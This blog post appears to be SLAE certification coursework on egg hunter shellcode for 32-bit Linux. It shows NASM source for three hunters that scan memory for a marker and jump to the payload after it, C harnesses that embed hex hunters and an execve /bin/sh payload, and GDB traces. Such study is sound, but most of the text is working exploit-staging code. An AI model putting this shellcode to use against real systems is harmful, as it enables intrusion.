October 03, 2013

Egg Hunter shellcode research

Today, I would like to publish my research on Egg Hunter shellcodes.

Sometimes shellcode can be limited by free space given for injection, thus it has to be done in stages. First stage is to load a small shellcode (a hunter) which will be seeking for our main shellcode (a payload). In order to find the payload, hunter needs some marker (an egg). We will insert the egg right before the payload. Once egg found, we know the address of the payload and can execute it!

I wrote several versions of the hunter. You can get them from my github page The 1st one was written in a simple way which makes it easier to understand. However it does not make it robust enough. Remaining ones are more robust and safe, I will show them in the end of this article.

basic/hunter.nasm

; this is a snippet of the original file https://github.com/arno01/SLAE/blob/master/exam3/basic/hunter.nasm

section .data
    egg1    equ "Egg-"    ; DWORD Egg marker part1
    egg2    equ "Mark"    ; DWORD Egg marker part2

section .text
global _start

_start:
    ; Searching for the Egg marker
next:
    inc eax        ; Searching forward  (can also try dec eax)
isEgg:
    cmp dword [eax-8], egg1        ; Checking if we can see egg1
    jne next            ; If not, continuing to search
    cmp dword [eax-4], egg2
    jne next

    call eax            ; Once found, we call our payload

The usage (how to compile and run the shellcode) you can find in USAGE file

I’m going to show you here more interesting part – debugging a hunter with GDB. We will look at it during its execution in real time, trying to understand how it searches for the egg+payload.

So we’ve got a working shellcode.c file. Egg mark is “YummyEgg” 59756d6d79456767 in HEX. basic/shellcode.c


#include <stdio.h>
#include <string.h>

unsigned char hunter[] = "\x40\x81\x78\xf8\x59\x75\x6d\x6d\x75\xf6\x81\x78\xfc\x79\x45\x67\x67\x75\xed\xff\xd0";

unsigned char garbage1[] = "Just some garbage here...";

unsigned char payload[] = "\x59\x75\x6d\x6d\x79\x45\x67\x67\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";

unsigned char garbage2[] = "And some garbage there...";

main()
{
    printf("Hunter Length:  %d\n", strlen(hunter));
    printf("Payload Length:  %d\n", strlen(payload));
    int (*ret)() = (int(*)())hunter;
    ret();
}

Debugging

Compile and run shellcode with debugger, while setting up disassembly flavor, defining hoop-stop that will show you necessary output every ‘stepi’ during the run. To watch the hunter’s execution, we set a ‘break’ for it. And we will be interested in registers like $eax (current memory pointer from which hunter scans for an Egg mark), also $eax-4 and $eax-8 (first and last 4 bytes of the Egg mark that hunter compares his Egg mark with).

basic$ gdb -q ./shellcode
set disassembly-flavor intel
define hook-stop
disassemble $eip,+25
end
break hunter
display /xw $eax
display /xw $eax-4
display /xw $eax-8
run
stepi
...enter
...enter

Below you can see that debug starts as we wanted it, from < hunter+0>

(gdb) run
Starting program: /home/arno/devel/shellcode/SLAE/exam3/basic/shellcode
Hunter Length:  21
Payload Length:  36
Dump of assembler code from 0x8049700 to 0x8049719:
=> 0x08049700 <hunter+0>:    inc    eax
   0x08049701 <hunter+1>:    cmp    DWORD PTR [eax-0x8],0x6d6d7559
   0x08049708 <hunter+8>:    jne    0x8049700
   0x0804970a <hunter+10>:    cmp    DWORD PTR [eax-0x4],0x67674579
   0x08049711 <hunter+17>:    jne    0x8049700
   0x08049713 <hunter+19>:    call   eax
   0x08049715 <hunter+21>:    add    BYTE PTR [edx+0x75],cl
   0x08049718 <garbage1+2>:    jae    0x804978e

Hunter starts to search for an Egg from the location where it resides in memory

1: x/xw $eax  0x8049700 :    0xf8788140
1: x/xw $eax  0x8049701 <hunter+1>:    0x59f87881
1: x/xw $eax  0x8049702 <hunter+2>:    0x7559f878

Reaches the end of a hunter (which is 21 bytes in size)

1: x/xw $eax  0x8049715 <hunter+21>:    0x73754a00

Then goes through garbage1 as supposed (You can see garbage1 & 2 in shellcode.c above)

1: x/xw $eax  0x8049716 :    0x7473754a
1: x/xw $eax  0x8049717 <garbage1+1>:    0x20747375
1: x/xw $eax  0x8049718 <garbage1+2>:    0x73207473
1: x/xw $eax  0x8049719 <garbage1+3>:    0x6f732074
...
1: x/xw $eax  0x804972c <garbage1+22>:    0x002e2e2e
1: x/xw $eax  0x804972d <garbage1+23>:    0x00002e2e
1: x/xw $eax  0x804972e <garbage1+24>:    0x0000002e
1: x/xw $eax  0x804972f <garbage1+25>:    0x00000000

Continues...
1: x/xw $eax  0x804973e:    0x75590000
1: x/xw $eax  0x804973f:    0x6d755900

stepi..

Great, hunter has now reached our payload which starts with the egg :-)

1: x/xw $eax  0x8049740 :    0x6d6d7559
1: x/xw $eax  0x8049741 <payload+1>:    0x796d6d75
...
...
0x08049711 in hunter ()
3: x/xw $eax-8  0x8049740 :    0x6d6d7559
2: x/xw $eax-4  0x8049744 <payload+4>:    0x67674579
1: x/xw $eax  0x8049748 <payload+8>:    0x0bb0c031
(gdb)
Dump of assembler code from 0x8049713 to 0x804972c:
=> 0x08049713 <hunter+19>:    call   eax
   0x08049715 <hunter+21>:    add    BYTE PTR [edx+0x75],cl
   0x08049718 <garbage1+2>:    jae    0x804978e
   0x0804971a <garbage1+4>:    and    BYTE PTR [ebx+0x6f],dh
   0x0804971d <garbage1+7>:    ins    DWORD PTR es:[edi],dx
   0x0804971e <garbage1+8>:    and    BYTE PTR gs:[edi+0x61],ah
   0x08049722 <garbage1+12>:    jb     0x8049786 <dtor_idx.5989+2>
   0x08049724 <garbage1+14>:    popa
   0x08049725 <garbage1+15>:    and    BYTE PTR gs:[bx+si+0x65],ch
   0x0804972a <garbage1+20>:    jb     0x8049791
End of assembler dump.
0x08049713 in hunter ()
3: x/xw $eax-8  0x8049740 :    0x6d6d7559
2: x/xw $eax-4  0x8049744 <payload+4>:    0x67674579
1: x/xw $eax  0x8049748 <payload+8>:    0x0bb0c031

Egg mark is “YummyEgg” 59756d6d79456767 in HEX. $eax-8 = 0x67674579 ; ‘yEgg’ in reverse byte order (Little Endian) $eax-4 = 0x6d6d7559 ; ‘Yumm’ in reverse byte order (Little Endian) $eax = 0x8049748 ; $eax points now to our main shellcode < payload+8> that starts right after the egg

Voila! Egg mark found, time to call the main shellcode (payload)

Dump of assembler code from 0x8049748 to 0x8049761:
=> 0x08049748 <payload+8>:    xor    eax,eax
   0x0804974a <payload+10>:    mov    al,0xb
   0x0804974c <payload+12>:    xor    edx,edx
   0x0804974e <payload+14>:    push   edx
   0x0804974f <payload+15>:    push   0x68732f6e
   0x08049754 <payload+20>:    push   0x69622f2f
   0x08049759 <payload+25>:    mov    ebx,esp
   0x0804975b <payload+27>:    push   edx
   0x0804975c <payload+28>:    push   ebx
   0x0804975d <payload+29>:    mov    ecx,esp
   0x0804975f <payload+31>:    push   edx
   0x08049760 <payload+32>:    mov    edx,esp

stepi..

Once our 36 byte sized payload finishes, you can also notice that there is our garbage2 section presents in memory as expected.

Dump of assembler code from 0x8049762 to 0x804977b:
=> 0x08049762 <payload+34>:    int    0x80
   0x08049764 <payload+36>:    add    BYTE PTR [ecx+0x6e],al
   0x08049767 <garbage2+2>:    and    BYTE PTR fs:[ebx+0x6f],dh
   0x0804976b <garbage2+6>:    ins    DWORD PTR es:[edi],dx
   0x0804976c <garbage2+7>:    and    BYTE PTR gs:[edi+0x61],ah
   0x08049770 <garbage2+11>:    jb     0x80497d4
   0x08049772 <garbage2+13>:    popa
   0x08049773 <garbage2+14>:    and    BYTE PTR gs:[si+0x68],dh
   0x08049778 <garbage2+19>:    gs
   0x08049779 <garbage2+20>:    jb     0x80497e0

SEGFAULT

Unfortunately, the basic Egg hunter can SEGFAULT while scanning the memory (in fact Virtual address space (VAS) )

To avoid this, the hunter must to scan only accessible memory pages. This memory access check can be done with “access” syscall. By the way, the page size is equal to 4k

$ getconf PAGESIZE
4096

Here is a code of improved hunter that will never fail while scanning the whole memory. access/hunter.nasm

; this is a snippet of the original file https://github.com/arno01/SLAE/blob/master/exam3/access/hunter.nasm
section .data
    egg1    equ "Egg-"    ; DWORD Egg marker part1
    egg2    equ "Mark"    ; DWORD Egg marker part2

section .text
global _start

_start:
    xor edx, edx    ; Searching the whole memory

    ; We will scan memory page-by-page and only accessible pages will be scanned for the Egg marker
nextPage:
    or dx, 0xfff    ; The same as "add dx, 4095" (PAGE_SIZE)

nextAddr:
    inc edx        ; Searching forward

    ; Checking if memory is accessible
    push byte +0x21        ; 0x21 = 33 = __NR_access
    pop eax            ; EAX points to 0x21
    lea ebx, [edx+0x8]    ; next address to check
    xor ecx, ecx        ; 0: mode = F_OK
    int 0x80
    cmp al, -14        ; -14 = EFAULT = Bad address.  See /usr/include/asm-generic/errno-base.h
    jz nextPage

        ; Searching for the Egg marker (in current page of memory which is accessible)
    cmp dword [edx], egg1
    jne nextAddr
    cmp dword [edx+0x4], egg2
    jne nextAddr

    lea ecx, [edx+0x8]
    jmp ecx

Endless LOOP

Another very important problem to solve is to avoid “endless loop” in case if the Egg marker is missing/corrupted or cannot be found for another reason.

access-noloop/hunter.nasm

; this is a snippet of the original file https://github.com/arno01/SLAE/blob/master/exam3/access-noloop/hunter.nasm
section .data
    egg1    equ "Egg-"    ; DWORD Egg marker part1
    egg2    equ "Mark"    ; DWORD Egg marker part2

section .text
global _start

_start:
        ; function Prologue
        push ebp
        mov ebp, esp

    ; preserve registers and flags
    pushad
    pushfd

    ; Used for cmp edx, esi below
    push 0xfffefff
    pop esi
    inc esi

    xor edx, edx    ; Searching the whole memory

    ; We will scan memory page-by-page and only accessible pages will be scanned for the Egg marker
nextPage:
;    cmp edx, 0xffff000
    cmp edx, esi    ; We don't want NULL bytes
    jz Return    ; Egg Hunter will go for retirement (i.e. we simply prevent forever-loop in case if there is no Egg)

    or dx, 0xfff    ; The same as "add dx, 4095" (PAGE_SIZE)

nextAddr:
    inc edx        ; Searching forward

    ; Checking if memory is accessible
    push byte +0x21        ; 0x21 = 33 = __NR_access
    pop eax            ; EAX points to 0x21
    lea ebx, [edx+0x8]    ; next address to check
    xor ecx, ecx        ; 0: mode = F_OK
    int 0x80
    cmp al, -14        ; -14 = EFAULT = Bad address.  See /usr/include/asm-generic/errno-base.h
    jz nextPage

        ; Searching for the Egg marker (in current page of memory which is accessible)
    cmp dword [edx], egg1
    jne nextAddr
    cmp dword [edx+0x4], egg2
    jne nextAddr

    lea ecx, [edx+0x8]
    jmp ecx

Return:
    ; restore registers and stack
    popfd
    popad

        ; function Epilogue
        mov esp, ebp
        pop ebp

    ret

Compiling and testing our Egg hunter under normal circumstances

access-noloop$ ./make.sh "HereItIs"
[I] Using custom EGG mark: HereItIs
[+] Compiling payload.nasm ...
[+] Compiling hunter.nasm ...
[+] Extracting PAYLOAD code from payload ...
[+] Adding EGG mark to PAYLOAD ...
[+] Checking PAYLOAD code for NULLs ...
[+] Extracting HUNTER code from hunter ...
[+] Checking HUNTER code for NULLs ...
[+] Compiling shellcode.c ...
-rwx------. 1 arno arno 5260 Mar 28 13:01 ./shellcode
[+] All done!

access-noloop$ ./shellcode
Hunter Length:  66
Payload Length:  36
sh-4.1$

Break the Egg

Now we will change 1st byte of our payload, which contains “HereItIs” Egg mark. ( “H” in HEX is 0×48 )

Before

payload[] = “\x48.…

After (we pick random value – 12)

payload[] = “**x12**.…

access-noloop/shellcode.c

#include
#include

unsigned char hunter[] = "\x55\x89\xe5\x60\x9c\x68\xff\xef\xff\x0f\x5e\x46\x31\xd2\x39\xf2\x74\x2a\x66\x81\xca\xff\x0f\x42\x6a\x21\x58\x8d\x5a\x08\x31\xc9\xcd\x80\x3c\xf2\x74\xe8\x81\x3a\x48\x65\x72\x65\x75\xe9\x81\x7a\x04\x49\x74\x49\x73\x75\xe0\x8d\x4a\x08\xff\xe1\x9d\x61\x89\xec\x5d\xc3";

unsigned char garbage1[] = "Just some garbage here...";

unsigned char payload[] = "\x12\x65\x72\x65\x49\x74\x49\x73\x31\xc0\xb0\x0b\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xcd\x80";

unsigned char garbage2[] = "And some garbage there...";

main()
{
    printf("Hunter Length:  %d\n", strlen(hunter));
    printf("Payload Length:  %d\n", strlen(payload));
    int (*ret)() = (int(*)())hunter;
    ret();

        printf("NO LOOP!\n");
}

Compile it and execute with timer

noloop$ gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode
noloop$ time ./shellcode
Hunter Length:  66
Payload Length:  36
NO LOOP!

real    0m2.582s
user    0m0.244s
sys    0m2.288s

As you can see it takes about 2.5s to scan the whole memory (VAS ) And as hunter could not find egg, it escaped back to a process printing “NO LOOP!” message.

Problem solved.

That’s all for now. For the rest of the Egg hunter code sources, including scasd Egg hunter, please check my github exam3 page

I would like to Thank skape for his nice PDF document – egghunt-shellcode.pdf

and Geyslan (Geyslan G Bem) for his well commented hunter (He is also working over SLAE assignments) Geyslan’s page


This page has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-323